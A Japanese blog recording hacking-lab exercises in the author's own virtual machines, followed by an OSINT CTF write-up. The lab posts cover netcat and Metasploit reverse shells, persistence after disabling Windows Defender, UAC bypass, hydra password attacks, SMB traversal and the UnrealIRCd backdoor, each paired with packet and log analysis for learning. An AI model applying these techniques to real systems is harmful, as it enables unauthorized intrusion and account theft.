ハッキングラボのつくりかた。実験結果編

こんばんは、ゆきちです。
「ハッキング・ラボのつくりから」をやっていきたいと思います。
このブログは内容を実装したときの結果と考察を書いていきたいと思っています。

注意事項
この記事で行っていることはすべて自身の仮想環境内で行っています
他人や他社など、自身の環境以外で行うことは犯罪になる可能性があります。
!!!!絶対に行わないでください!!! また、本ブログを読み起こった事件や事故、トラブルに関して私は責任を負いかねます!

目次

netcat

状況
kali : 10.0.0[.]2
windows : 10.0.0[.]101

ただ実行するのもつまらないので、記録を残していく。 まずncコマンドをよく使っていたけど、windowsにはないのですね。わざわざダウンロードしました。

まずは待ち受ける。 netstat -anで状態を確認

しっかり待ち受けられていますね。

では、kaliから通信を行いたいと思う。

通信を開始。

(win側)通信が行えました!!
再びnetstat -anで状態を確認。
確立していますね~。tcpで双方向でつながってるのね。

helloを打ち合う


ん、できましたね。

wireshark確認

kali側。netcatを打ったとき

下の2つは何なのでしょうね。上3つは3wayハンドシェイクを行っていることが確認できる。

たまに発生しているから、コネクション先が生きているかの生存確認を時々しているってことかな。arpもされてる。

icmpはポートがないとか書いてある記事を見たことあるけど、一応137番でやられていることを確認。

知識(NBNS)
NBNS NetBIOS Name Service で137番ポートで利用される。目的はNetBIOS名をIPアドレスに変換する。NBNSクエリはブロードキャストされる。


【疑問】
なぜncコマンドでIPアドレスをしてしたのにNetBIOSプロトコルを使用する必要があったのだろうか。しかも、クエリがおかしい。

A OSが相手の「名前」を解決しようとしたから(ChatGPT)

なるほど。ncとは関係ないが、OSが発生したブロードキャストがwiresharkで観測できたようだ。


なんかある。tcpのやりとりで、PSHってなんなのかな。

知識(PSH)
PSH 参考(PSH/ACKとは?TCPフラグの意味と通信制御の基礎)。 > リアルタイムのユーザー入力を処理する必要がある場合、PSHフラグが設定され、データを即座に送信します。 今回のncでは即座にcmdに文字列が表示された。リアルタイムでの送信を可能にするためのフラグのようだ。



あ、データ送ってる。

helloが送られていることを確認

hello!も送られていることも確認!

ctrl + c で終わったときはfinパケット送ってることも確認。片方ではなく。送り合うんですね。


RSTというフラグもあるのですね。勉強になる。

netcatによるバインドシェル、リバースシェル


-eを指定すると接続後にそのプログラムが実行されるようですね。

おー!つないだらcmdを開いた時と同様の画面が現れた。

ncの-eオプションは-eで指定したプログラムの操作権を渡すというGPTの説明が納得した。つまり、-epythonをしている場合は、接続してきたホストはサーバ内でpythonを実行できてしまうわけだ。

wireshark確認

基本流れはさっきと同じ。パケットのdata内が変わっていた

ここでdirコマンドを打った時の内容をやり取りしている。パケットが分割されていることが分かる。bytesのやり取りは一回の大きさより総量を意識するのもいいかも。
さて、先ほどは逃げましたが、TCPのSeq, Ack, Win, Lenの数値を理解しよう。

確かにLenの数だけSeqの数が増えているところがある。
Seqはその前のAckであることが多い。
Ackはその前のSeq + Len になっている。

これが分かりやすいね。お互いのどこまで届いている、今から送るものを伝え合ってるイメージね。

【疑問】
なんでlenが細かいのか。最初は200ずつ送るのかと思ったら最後は400くらい送っている。なんで?

【Answer】

ここでわかるのはセッションでどれだけの量のbytesをやり取りしたのかを気にすることが大切ということかな。ひとつのパケットでは小さいからアウトバウンドを気にするときはセッション単位で見るのがよさそう。


ここで、次に進む前振り。バインドシェルは攻撃端末から被害端末へ通信を行いシェルを奪った。しかし、外部から内部へ(インバウンド)の通信はFWやルータでブロックされることが多い。→内側から外側へ通信を行わせて、奪うほうがブロックされることが少ないということ

→リバースシェルにつながる。

netcatによるリバースシェル

ここでは攻撃端末で待ち受けて、被害端末でアクセスしに行く。

kali側で待ち受ける。

winでアクセスすると、

シェル成功している。ipconfigも実行できることを確認しました。すげー。

wiresharkを確認する。


winのほうからパケットが飛んできているのが分かる。

あれ、シェルを奪うときはあっちからだけど、コマンドを実行するとこっちからの通信になっている。これはFWでブロックされないのかな?

【疑問】奪ったshellでコマンドを打つときにインバウンド通信が発生している。これでは結局fwでブロックされてしまうのではないのか?

【Answer】
  


なるほどね!

tcp.streamで見るとよくわかる。

比較するとさらにわかる。始まりが違う。TCPセクションが確立するとFWはブロックしにくくなるのか。

metasploit framework

searchコマンドで攻撃を探せるようです。
ペイロード:悪意のある動作をする実行コード。
さて、一通り、リバースシェルをmetasploitで行ってみた。ブラックボックスで進んでいくので、なんかできているという感覚。前回のと比較しながら理解を深めたい。
まず、apacheを利用してファイルを共有する方法がほへーと思いました。

wireshark確認

まずはapacheに接続したとき。

2つの3WHS(way hands shake)が起こっていることが気になりました。src_portが違う。なぜかとGPT先生に確認した。

ほへー。1つのwebページを表示するのに複数のポートを利用するのですね。


確かに2つのtcpが利用されてるのはわかった。1つはgetリクエストを行ってページを取得しているのが分かるが、もう一方はただただつないだだけだ。調べたけど、少しわからないので、疑問として覚えておこう。

【疑問】なにも送受信しないコネクトが張られた。

また、webページが表示され続けているのにFINでTCP接続が終わるんですね。

あたりまえ体操
動的だとまた違うようだ。 ん、ここでconnection:keep-aliveという文字列発見。接続を維持するやつと認識しているけど、早めにFINが発生している気がする。

これは一番上の理由な気がする。リクエストで終わったからかな。それとも送るものがないからかな。
apache2の設定を確認した。デフォルトですね。
GPTさんがapacheのログも見てみたらというので、見てみた。
ログが取られているものなんですね。これも当たり前当たり前。

続いて、ファイルをダウンロードするふるまい。
ダウンロードするときもGETリクエスト何ですね。勉強になる。

Content-Dispositionというヘッダがあるんですね。私のパケットにはなかったけどねw
ブラウザがやってくれていたようです。



ACKがこんなに複数連続で送られることがあるんですね。




なるほどね。TCPは開きっぱなしになるのね。
忘れてました、netstatで確認しています。

永続的なバックドア設置

まず初めにマイクロソフトディフェンダーは切りましょう。めちゃくちゃ優秀なので、永続化がうまく機能しません。 metasuploitを利用して、

  • リバースシェル確立
  • 権限昇格 (uid確認)
  • バックドア設置 (永続化)

を行っている。楽しいやつ。
改めて思ったのですが、リバースシェルを行うために相手に実行させるプログラムもmetasploitで作成できてしまうってこと。こんなに簡略化できてしまうのですね。
続いて、永続化。権限昇格を行った後にrunを行うとできた。SysinternalsのAutorunsでレジストリの差分を把握できるのは勉強になった。

実際にレジストリに追加されている。ちなみに、Base64エンコードされているようですが、cyberchefではでコードできなかった。なんでだろう。
タスクマネージャーで確認もできました。

wireshark確認&ログ確認


リバースシェルをつないでgetuidなどのコマンドを打った時のデータ量。GB行くと怪しいと思っていたが、このバイト数でも十分攻撃を受けていることが分かる。にしてもACKが多い。こんなに多いのね。ncで行うより量が多いように思う。これはMetasploitを利用していることが原因なのだろうか?
再度行ったが、やはり同じ量データのやり取りがリバースシェルの通信を確立するだけでかかっている。この差気になりますね。コマンドを打つときは同じくらいの量。

こっちがMPで打ったpwdコマンド

こっちがnetcatでリバースシェルを確立したときに打ったコマンドの通信。
平文と暗号化されている違いがあるのかな。netcatは平文でやり取りするということなのかな。そう思うとパケットの中に攻撃のヒントになるものはエンコードされているから確認とかできないのかな。


権限昇格前のUACをバイパスする前にTLSの通信が発生していた。やはり暗号化されているのね。権限昇格後もそう。バックドア設置の時も。どんなことを行っているかは暗号化されていて見れない。そう思うとこれはいつ暗号化が解除されるだろうか?
pcapが取る場所と符号化される場所、pcのメモリに悪意のあるコードがおかれるまでの流れが知りたい。 まず、暗号化について、
リバースシェルが確立していないときにwindowsから飛んでいる通信。てか、真っ赤!

これはBad TCPTCP RSTであるのかな。


こっちが起こっているのかな。
Bad TCPはこれが原因ですね。

【疑問】コンテンツフィルタの動きってどうなっているの?


へー。予想通りではあるけど、一回復元?構築?しているのですね。

FWとの違いを知りたいと思いました。

ん?いったん構築して、検査していると遅延が発生して、ユーザには負担になるのでは?


これが本当ならいいですな。

なにかしらの試せるのかな。今度やってみよ。

権限昇格前のUACをバイパスする前にTLSの通信が発生していた。やはり暗号化されているのね。権限昇格後もそう。バックドア設置の時も。どんなことを行っているかは暗号化されていて見れない。そう思うとこれはいつ暗号化が解除されるだろうか?pcapが取る場所と符号化される場所、pcのメモリに悪意のあるコードがおかれるまでの流れが知りたい。

さて、先ほどの疑問を解消していく。
まず、暗号化について、まあ、予想通りですね。


つまり、アプリケーション層で復号するから、その手前の通信を見ているwiresharkは暗号化されたままということかな。
ん?そうなるとコンテンツ型のフィルタは暗号化された通信をアラートすることはできない?

ここら編のことを今後やっていきたい。

windows 7 ,10のハッキング

  • 手動での永続化
  • 隠ぺい化
  • UACを表示させて昇格権限
  • ユーザの追加、権限管理、削除
  • 仮想マシンであるかの調査

を行った。授業やMITRE ATT&CKで書かれていることを実習で学んだ感じ。

知識(UAC画面)
UAC画面 ユーザーアカウント制御(UAC) (UACとは?Windowsにおけるユーザーアカウント制御の基本と役割)


pcapは取っていたが、暗号化されているので、なんとも言えない。 レジストリキーが攻撃調査に役立つのはわかったが、あんまり見方が分かりにくい。

データの中にファイル名が列挙されていると思いきや違うのね。
→否、あってるようだ。(本当に簡単!「ファイル名し指定して実行」の履歴を消す方法)を参考にした。名前aのデータ欄にファイル名を指定して実行したファイル名が載っている。

知識(レジストリ)
レジストリ (レジストリとは? 10分でわかりやすく解説)参考にした。 * レジストリキー:RunMRUに当たるやつ。



P325-366はWindows Defenderが思いのほか優秀で、veilのリアルタイム保護回避をしっかり守ってくれるので、思い通りには進まずですね。ちょっと日を置きたいと思います。


と言いつつ頑張っています。でも、マクロをスクリプトにしたけど、、無料版にはexcelなくね?ということで実行まではいってない。しかし、VBAスクリプトにし、xlsxファイルにすることまで学べた。

ファイルの結合は行っていません。




感想になって申し訳ないが、実際に行っているが、metasploitを利用することで攻撃が簡単に行えることに驚いている。
しかし、Windows Defenderのすごさやセキュリティソフトの重要性も学べた。走り書きしたので、今度ブログ書き直さないとね。

metasploitable2

nmap


網羅的にわかるものなんですね。

wireshark確認

nmapによるpingスキャンを行う。

ARPによって指定したネットワークに存在するIPを片っ端からARPして誰がいるかを確認していることが分かる。異なるネットワークにnmapスキャンを行った場合もARPなのだろうか。てか、pingスキャンなのだからICMPプロトコルを使用するものだと予想していたが、違うんですね。

【疑問】PINGスキャンなのにARPプロトコルを利用しているのはなぜ?


なにやら、ローカルネットワーク内にあるホストに対するのはICMPよりARPリクエストのほうが信頼性が高く確実なようです。→多くのホストやFWはPINGを無視する設定があるようです。but, ARPは無視できないようです。


ホストオンリーアダプタを使用しているので、他者に影響はないと思って、異なるネットワークに対してもやってみた。ルート見つからないといわれた。pcapを見ても通信は発生していない。
これ届いてないのは、ホストオンリーアダプタを使用しているからじゃないか?ルーティングテーブルに載ってないからできない感じだね。ほかのネットワークにもルーティングテーブルが整っていればできるでしょうね。



続いて、nmapで見つけたホストに対して、どのポートが開いているか、なんのサービスが動いているかを確認したときのパケット。
まず初めにARPして通信相手を見つけて、[SYN]パケットを投げていることが分かる。でも、ポート番号は1から順ではないのですね。1から順にSYNを送るものと思っていました。

また、開いているサービスのポートにSYNが飛んだ時、syn, ackが返っていることが分かる。そのあとRSTが走っている。通信を確立させる気はないからかな。
今更ながら、synパケットには中身が入っていないからLen=0なんですね。

たぶん、ここかな。synパケットは58bytesで送られているのかな。

syn,ackは60bytesで返ってきている。

【疑問】ん?syn, ackが返ってきてるけど、バージョンの情報はないよね。どこでやり取りされてるのかな。


後々にそれらしいやり取りされている。

サービスにアクセスするとそのバージョンももらえるものなのかな。
→後々やってみよ。flow TCP streamで確認できそう【未解決】


synパケットを送りまくるフェーズとsyn,ackが返ってきたところに接続するフェーズで分かれているようだ。

telnetは違うふるまいをしている。サービスによって挙動が違うのね。

後日サービス別にふるまいを見てもおもろいかもしれん。

脆弱性を突いて、バックドアをしかけ、root権限で動く


FTPの理解が浅いので今回の攻撃が刺さった理由はわからない。これからこういうことは多い気がする。

攻撃を行いバックドアを仕掛けるまでのサイズ。思った以上に小さい。サイズより内容を見れないときつい。しかし、アウトバウンドが発生していることが一つの攻撃の目安になりそう。平文で通信してくれるおかげで内容はわかる。
metasploitで行うバージョンもありますが、通信は暗号化されているでしょう。

追加調査

21番ポート:FTP File Transfer Protocol:ファイル転送用のプロトコルで使われる。

vsftpdって何ぞや?

知識(vsftpd)
vsftpd (vsftpdとは?セキュアなFTPサーバー設定と運用方法)Very Secure FTP Daemonの略。FTPサーバーソフトウェア。

FTPは20,21番ポートが利用される。20番ポートはデータ転送用に利用されるようだ。21番は制御用のデータをやり取りする。

データ転送する以外のやり取りを行うポートね。

mysqlのデータベース列挙のwiresharkとともに観察

ポート番号3306で動いているMySQLに攻撃する。

一番最初。TLSのエラーが出た時のやつ。

  • TCPのハンドシェイク後Sever Greetingという通信がサーバから返ってきている。
  • Login Requestという流れですね。しかし、うまくuser=のところにrootが入っていない。
  • そのログインに対するACKの後にSSLが走っている。

このTLSがうまくいっていないからログインができなかったのですね。

3ハンドシェイクとARPによるマックアドレス解決をお互い行っている。
先ほどの内容と似ているが、TLSの通信が発生していないのがわかる。また、userのところにrootが入っているのもわかる。そして、パスワード入力なしにResponse OKとなっている。その後はログイン成功時に出てくるServer versionが送られてきている。
Request Queryの後にResponse TABULAR Responseで内容が返ってきている。
use mysqlでは利用するDatabaseをリクエストしているということなのかな。
show tableではまずその次にtable全体を返している。その後に画面には表示されていないが、tableの内容一つずつに対するRequest Show FieldsResponseを行っている。表示されないのに送るのですね。キャッシュ的なものかな。

またahow tableを行っている。冗長的に行っていることがよくある。なぜだろう。
最後にexitをして終了。

辞書攻撃でFTP解析


初めに8個の[SYN]を送っている。これはuser.lst内のユーザ数だと思う。今回並列処理のタスク数を8にしたのも8ユーザだからなのかな。
否、それは違うかも、

このhydraは1ユーザを固定して、そこへパスワードを投げえていくタイプ?
ん?でも、TCP streamを確認するとこんな感じでrootの次にsysにパスワードを当てている。んー、ちょっとわからないな。

知識(wireshark TCP Stream)
wireshark TCP Stream (Wiresharkのパケット追跡機能(follow tcp stream)の仕組み)を参考にした。


予想になりますが、8個のセッションを張り、1ユーザを固定して、8個のパスワードをトライ。次に残ったパスワードを当てて、余った6個のセッションで新しくsysユーザのパスワードを試すといった流れと思っています。
Login Successfulになった場合はどうなるのだろうか。調べてみたらログインが成功するパスワードが見つかったら、そこで終了となっている。msfadminは5回しかパスワード試行が行われていない。

辞書攻撃でsshアカウント解析


これがsshのパケットのやり取りの最初。鍵交換とかを行っている。見たことあるやつ。

んで、これがログインに成功するユーザとパスワードをやり取りしたとき。
こっちが失敗しているとき。 暗号化が行われているので、詳細に違いは判らないんが、パケット数から違いはあることが分かった。


sshのアカウントのパスワードをhydraで解析した。これで実際にsshができるのかな?

実際にやってみる。

user@metasploitable:~$ pwd
/home/user
user@metasploitable:~$ exit
logout

できた。実際に解析した結果でアカウント情報が奪えるのですね。

バックドアの利用


ポートスキャンのオプションでも様々な情報をとれることは知っているが、プロセス名もわかるのですね。
nc IPアドレス ポート番号でアクセスできる。

nmapによるアクセスをパケットで見ているが、結果の文字列が返っているわけではないのですね。では、どこからあの情報を得ているのだろうか?

http認証解析

知識(tomcat)
tomcat (図解で解説!! Apache、Tomcatってなんなの?)が分かりやすい。


わざと間違えて必要な情報を取得するという方法は知らなかった。攻撃が失敗していても必要な情報が取られている可能性があるというのは盲点だった。気にしていく。

ディレクトリトラバーサル


wide linksがyesになっていることが確認できる。

/etc/shadowは権限で見れないと書いてあったが、実際に見れないことが確認できた。/etc/passwdにアクセスできるということはパスワードが解析できるってことよね。こわ。

CUIでも確認できた。

wireshark確認

SMB関係は興味があったので見ていこうと思う。


なんか役割が多い気がする。 (SMBとは?ファイル共有プロトコルの仕組みとセキュリティのポイント)を参考にすると、ファイル共有、プリンター共有、認証とアクセス制御が主な役割でありそう。



DNSの代わりに名前解決をするというのがへーという感じ。
今回の実習では、検索するところにSMBのIPをpathとして指定した。これをホスト名でもできるということかな。その時に名前解決する必要が生じる。その時に利用するのがこの137番ポートの名前解決ということか。

【疑問】NetBIOSを経由するSMBってなに?445番が利用されるのはなんで?



NetBIOSというものがそもそも上記機能を持っていた。そして、後発するSMBがその機能を利用するためにその仕組みに乗せる形であった。

【疑問】NetBIOSとはなに?


【疑問】端末間通信ならnetcatではだめのな?






なるほど。以前はLAN内でのやり取りを行うためにNetBIOSが作られたというわけね。


なんとなくは理解できた。

知識(SMB)

SMB Server Message Block ファイルやプリンタ、その他のリソースを共有するための通信プロトコル。(SMBとは?バージョンやFTPとの違い、設定方法から活用事例まで解説)
└─$ smbclient -L //10.0.0.5
Password for [WORKGROUP\kali]:

上記コマンドを打った時のパケット
ログイン成功後のパケット。
infoの情報から予想するに、

  • SMB:protocolの確立
  • SMB:sessionの確立
  • SMB:tree(connect, disconnect)
  • SMB:NT
  • DCERPC:bind *SRVSVCNetshareEnumAll
  • NBSS:Session, Positive sesssion
  • LANMAN:NetServerEnum2

というくだりがあるようだ。ファイル共有にアクセスするためにはユーザとパスワードが必要ということも理解。

metasploitによるディレクトリトラバーサルが可能となった。metaspoitの通信はすべて暗号化されていると思ってた。
つまり、

  • フォルダにアクセス
  • フォルダトラバーサル&マウント

という流れを行った感じかな。
マウント後は何もしていなくても通信が発生していた。
cdコマンドを行うと以下のパケット発生する。
lsコマンドでは以下のパケットが発生。
more passwdコマンドを使用すると
NT createとTrans2 requestが起こっている。詳しくはわからぬ。
ファイルを保存するときもSMBプロトコルを利用してダウンロードされる。



CUIを利用した場合。




CUIでアクセスしたほうがログたくさんですね。一気に読み込む内容が多いからだろうか。

optに進んだすすんだ時のログ。libにすすむとより多い。やはり進んだフォルダの中身のファイルやフォルダを読み込んでいるようだ。

読み込むサイズが大きいので、その分検知される可能性も上がるよね。

Unreal IRC バックドア


バージョン確認完了。バージョンって大切ですよね。
接続したときのログ。
接続成功。
接続後はPINGのような役割の死活監視を行うパケットをやり取りしている。
TCPでつないでいたらTCP内でPINGみたいなことをするのですね。ICMPだけじゃないとわかってよかった。

切断するときのパケット。

では、metasploitを利用してバックドアを仕掛ける。
payloadは"cmd/unix/reverse_perl"を使用する。

payloadの内容を把握していないので、なんとも言えないが、複数のポートへ[SYN]パケットを送っていることが分かる。ポートスキャンのような風に見えるが、初期段階で使われる以外にも攻撃に利用されることがあるのですね。
シェル確立が成功すると以下のようなパケット内容が6697から返ってくる。ツールを利用するとパケット内にその内容が入っているのが分かった。
exploit成功したときの確認idの返答パケット。


bytesを送られていると危ないっす。  
ncコマンドでやってみる。

できた。wireshark確認するか

wireshark確認


ncコマンドなのにmetasploitの文字列があった。metasuploitでバックドアを設置したからかな?

ncは平文でやり取りしていますね。

ログ

  • /var/log:ログが残っている場所
  • .bash_history:コマンド実行履歴
  • syslogd, rsyslogd:ログを集中管理するももの。UDPTCPで転送する。
  • /etc/rsyslog.conf:kaliのrsyslogdが管理するログファイル

failogmetasploitable2のログ

last
root     pts/0        :0.0             Tue Jul 29 10:38   still logged in   
reboot   system boot  2.6.24-16-server Tue Jul 29 10:37 - 13:10  (02:32)    
user     pts/1        10.0.0.2         Mon Jul 28 12:38 - 12:38  (00:00)    
msfadmin tty1                          Mon Jul 28 11:55 - crash  (22:42)    
msfadmin tty1                          Mon Jul 28 11:55 - 11:55  (00:00)    
root     pts/0        :0.0             Mon Jul 28 11:54 - crash  (22:43)    
reboot   system boot  2.6.24-16-server Mon Jul 28 11:54 - 13:10 (1+01:16)   
msfadmin tty1                          Thu Jul 24 15:28 - down   (00:31)    
msfadmin tty1                          Thu Jul 24 15:28 - 15:28  (00:00)    
root     pts/0        :0.0             Thu Jul 24 15:28 - down   (00:31)    
reboot   system boot  2.6.24-16-server Thu Jul 24 15:28 - 16:00  (00:32)    
msfadmin tty1                          Thu Jul 24 12:38 - down   (00:31)    
msfadmin tty1                          Thu Jul 24 12:38 - 12:38  (00:00)    
root     pts/0        :0.0             Thu Jul 24 12:38 - down   (00:31)    
reboot   system boot  2.6.24-16-server Thu Jul 24 12:38 - 13:10  (00:31)    
msfadmin tty1                          Thu Jul 24 12:27 - down   (00:03)    
msfadmin tty1                          Thu Jul 24 12:27 - 12:27  (00:00)    
root     pts/0        :0.0             Thu Jul 24 12:26 - down   (00:03)    
reboot   system boot  2.6.24-16-server Thu Jul 24 12:26 - 12:30  (00:03)    

msfadminでログインしたものだったり、rootでログインしたことが確認できる。すげー。

lastlog
Username         Port     From             Latest
root             pts/0    :0.0             Tue Jul 29 10:38:14 -0400 2025
・
・

userごとに最終ログインした記録が見れる。

>



実行した結果。フォレンジック技術を覚えたらここら辺を実践したい。

┌──(kali㉿kali)-[/var/log]
└─$ sudo cat auth    
cat: auth: No such file or directory

あれ、ないらしい。.bash_historyもないんだけど。おや?kali特有のものだったりするのか?

Netcat各種通信


4444番にアクセスしたらダウンロードできた。tcpですね。
本には調査で利用されると書いてあった。そんな視点もあるのかと勉強になった。
攻撃者としては、このように待ち構えたらアクセスしたらアクセスしたらダウンロードさせられるのかな?
ん?これって一回しか受け取れないのかな。2回実行するとファイルに何も記述されていない空ファイルが作られている。

1回限りっぽいね。では、攻撃者は利用しないかもね。

LANのハッキング


あれ、[SYN , ACK]が返ってない。

C:\Users\yukichi>netstat -ano |findstr :445
  TCP         0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP         [::]:445               [::]:0                 LISTENING       4

ポートは開いているのかな?
チャットGPT曰くは開いている。しかし、FWの影響でsyn, ackが届いてないとのこと
有効にしてみる。

届きました!windowsはFWがすごいな。

ハッキングラボのつくりかた。試行錯誤編

こんばんは、ゆきちです。
オフェンシブセキュリティに興味が出てきたので、有名な本「ハッキング・ラボのつくりから」をやっていきたいと思います。
このブログは内容を書くというより、なんかうまくいかないというエラー?といいますか、本通りにいかない部分の解決の仕方を書いていきたいと思います。解決というと問題を答えをすでに知っている感じですが、調べてうまくいったことを書いていくという方針なので、こんな方法もあるといった場合はコメントください!!
そりゃ、2018に出版された本ですので、いろいろ違う部分は出てきますよね。

目次

kali linuxをインストール。

しょっぱなのところから思い通りにいかない!kali linuxovaファイルをダウンロードしたいのに、公式からダウンロード(公式)した7z内にはvdi, vboxしか入っていないじゃありませんか。ovaはなくなってしまったのだろうか? (Virtual Box上にKali Linuxをインストールする方法)同じ悩みの人がいました!

というわけで、追加してみる。

なんで!!開けない!!

調べてみると1つのvboxから複数のゲストVMを作ることはできないようです。

caht GPTさんもこう言っていますし。簡単に言うと、vboxは構成情報(設定ファイル)だから、そこから作られるマシンは同じUUIDのものになってしまい、作ることができないという流れと推測。

2つ以上作る場合は、上記のような方法があるといわれた。やってみるか。

ほんとだ。クローンってある。

後々のための記録として、デフォルトの値はこんな感じ。いじらないと不具合出たりするかな? (VirtualBoxでクローン(複製)を作成する。いざという時のバックアップとして。)この記事も名前だけの変更なので、デフォルトのままで進む。

ネットワーク設定

ネットワークを設定する場所がない!!centOSだったら右上くらいから設定みたいなのが開けた気がするけど、kaliはできないのかな。
現状設定しないといけないのは2つあるように考えている。

書籍では2つの仮想のアダプターを設定とある。これは2つのゲストOSにそれぞれ一種類を割り当てるのかと思っていたが違うようだ。1つのゲストOSに仮想のLANアダプターを2つ設定するということだと認識している。

あ、linuxの一般的なIPアドレスの設定方法がありますね(P77-)。つまり、上記の記憶の右上の設定から変えてるほうがGUIを利用した簡単な設定方法だったということかな。本来は

  • 設定ファイルを編集
  • 設定を反映(主に再起動)

allow-hotplugってなんじゃ?


なんとなく理解した。

最終目標は2つのLANアダプターを設定し、それぞれに静的IPを割り当てることのようだ。 P80ではまず2つのLANアダプターを設定し、動的IPを割り当てるようだ。
①仮想LANアダプターを設定する。

ちなみに

プロミスキャスモードもよく知らなかったので、調べた。後々設定しなおすかも。今は拒否でいいや。
シャットダウンしないとアダプターの選択ができないので、初学者のかたはご注意を。まずは2つを設定完了。

②ホストオンリーネットワークを設定する。
ここが悩みの種でしかない。ホストオンリーでホストOS側の設定をする場所が見当たらない。ホストオンリーアダプタを使用する場合はホストOS側とゲストOS側を設定しないといけないのは注意。

そして、やっと見つけた。ファイル > ツール > ネットワークマネージャで開くことができた。(【VirtualBox】ネットワークの仕組みや設定方法を解説)はすごく助かりました。

viするときはsudoつけたほうがいいです!!

P89について

windowを使用している人は(Windowsで構築した仮想OSからホストOSへpingが通らない場合の対応方法)を確認してほしい。pingがホストOSに届かない可能性があります。

ただただ感想ですが、エイリアスって使いやすいわ。

258バックドア設置について

run persistenceを行えない。バージョンとかコマンドが違うのかな。P259にあるやり方で行うことができた。

341 veilを用いたリバースシェル確立

veilを使用したbatファイルを実行してもリバースシェルが張れなかった。
以下のことをしたらできたので、記録。
payloadの選択ミス。なぜx64があるほうを選択したのかはわからないが、以前にこれを利用していたようだ。本ではx64の記載はなかったので、本通りに行えばできると思う。
   Payload options (windows/x64/meterpreter/reverse_tcp)を選択している。


Payload options (windows/meterpreter/reverse_tcp)を選択している。

viとvim

この二つって違うのですね。本にはviが利用されていましたが、私がよく知っているのがvimなので、違和感でした。もちろん、vimで編集しましたよ。

P379 mysqlの接続エラー

┌──(kali㉿kali)-[~]
└─$ mysql -h 10.0.0.5 -u root
ERROR 2026 (HY000): TLS/SSL error: wrong version number

本通りに接続するとtls/sslエラーが発生した。SSLの暗号化で問題が発生しているようだ。
調べてみるとこのエラーはクライアントでsslが有効であるが、サーバのほうのmysqlsslを扱っていない場合に出るようです。

┌──(kali㉿kali)-[~]
└─$ mysql -h 10.0.0.5 -u root --ssl-mode=DISABLED
mysql: unknown variable 'ssl-mode=DISABLED'

おや、サイトであったクライアント側でsslを無効にするオプションを付けたけど、これはないようだ。


┌──(kali㉿kali)-[~]
└─$ mysql -h 10.0.0.5 -u root --disable-ssl      
Welcome to the MariaDB monitor.  Commands end with ; or \g.

chatGPTに聞いたものを実行したらできた。gptさんすごいっすね。

P382 辞書攻撃によるsshアカウント解析

同じことが起きている人発見。解決策も提示してくれている。ありがたい。(ERROR] could not connect to ssh://x.x.x.x:22 - kex error : no match for method server host key algo)
hardening Settingsの項目を選択する方法にてこずったので一筆。スペースキーで項目を有効化できます。わかりにくい!!

P401 exploitできない

(nrealIRCのバックドアに接続しようとしても失敗する)先人がいるので、確認した。

diver osint ctf(らいとあっぷみたいなもの)

となわけで、osintのCTFを行いました。 まずはeasy頑張ります!!


場所を特定できた時の快感を知りました。osintはまりそうです。
ほかのプレイヤーのwriteupで勉強させていただきます。

目次

bx

この写真で見える "BX" という看板の座標を答えなさい。

ということで、写真の座標を求めていく。
考えられるのは

  1. 撮影場所をgooge mapで見つけること
  2. 写真自体の情報を確認する

の2つが考えられる。 では、メタ情報を見てみる。

└─# exiftool bx.jpg
ExifTool Version Number         : 13.25
File Name                       : bx.jpg
Directory                       : .
File Size                       : 2.1 MB
File Modification Date/Time     : 2025:06:07 04:26:07+00:00
File Access Date/Time           : 2025:06:07 04:30:20+00:00
File Inode Change Date/Time     : 2025:06:07 04:30:20+00:00
File Permissions                : -rwxrwxrwx
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
Image Width                     : 4080
Image Height                    : 3072
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 4080x3072
Megapixels                      : 12.5

特に場所の情報はない。写真から位置を見つけるパターンかな。


ここに場所の情報がありそうだ。

文〇シャッターよりカトリ〇ク上野〇会のほうで探したほうがヒットした。終了。

finding_my_way

34.735639, 138.994950 にある 建造物 の、OpenStreetMapにおけるWay(ウェイ)番号を答えよ。 Flag形式: Diver25{123456789}

OpenStreetMapにおけるWay(ウェイ)番号というものを初めて聞いた。 OpenStreetMapは自由に地図を作ることができるものらしい。
wayを調べてもいまいち使い方はわからない。

ひとまず、google mapで調べる。


静岡にある建物のようだ。
OpenStreetMapの号アカウントを作るとwayが見れるのかな。
アカウント作成後右にある地物を検索で検索すると建造物番号が見つかった終了。

ship(未解決)

これは、ある組織が運用する船舶である。もし将来、この船が外国に売却されたとしても、変わらない番号を答えよ。 Flag形式: Diver25{現地語での船名番号}(例: 船名が「ペンギン饅頭号」で番号が 1234567 の場合、Flagは Diver25{ペンギン饅頭号1234567} となる)

そんな番号が存在するのか、、しらなかった。

この写真が与えられた。暗いwまずは編集して見やすくする。

編集すごい。見やすくなりました。
google船 東京海洋大学 TK1-1401と調べると船の名前がわかるサイト発見。

わからず。

hidden_service

添付ファイルを確認して、Flagを獲得してください!


.onionという拡張子を初めて見た。torみたいに隠されているっていうことなのかな? Tor自体聞いたことがある程度で実際になんなのか知らない。

知識(Tor)
Tor (「.onion」サイトとは? ダークウェブへの“入り口”とその“危険性") 匿名性を高めたTorネットワークというものがあるようだ。匿名性が高いので危険性もあるとのこと。

Torブラウザーを入れてみる。どきどき。URLを入力したらflagゲット!

flight_from

このヘリコプターが出発した飛行場のICAOコード(4レターコード)で答えよ。

場所を見つける感じなのかな。

ここに書かれているのが出発地点かと思ったら違うのねw

立川近くにある飛行場を探して、(ICAO空港コードの一覧/R )をもとにICAOを探して終了。

document(未解決)

アメリカ海軍横須賀基地司令部(CFAY)は、米軍の関係者向けに羽田空港・成田空港と基地の間でシャトルバスを運行している。2023年に乗り場案内の書類を作成した人物の名前を答えよ。 lineを調べる。(SBS Transit 52 Bus Route Schedule and Stops (Updated))。動画は2013に撮られているので、変更の可能性は頭の片隅に入れておく。

めっさAIに投げ込みたいと思いました。

night_accident

動画 / Video: https://www.youtube.com/watch?v=jHgqCpJNL28 この動画で、車とバスが衝突しそうになった場所はどこか。 In this video, where did the car and bus almost collide? content warning: 衝突には至らないものの、交通事故のようなシーンがあります There are scenes that do not result in a collision, but are similar to a road accident.

動画を見たが、場所的な情報はない。バスのロゴ?が「sbs transit」でしたね。シンガポールで公共交通機関を運行する会社のようです。じゃあ、シンガポールかな。バスの番線を表すのが52と58であった。

検索したら出てきた。


見にくくて申し訳ないですが、このコ型になっているところが重なっている。ここが接触の場所だとにらんだ。

google mapのストリートビューでポチポチしている。

ぽい!!めちゃくちゃポイ!

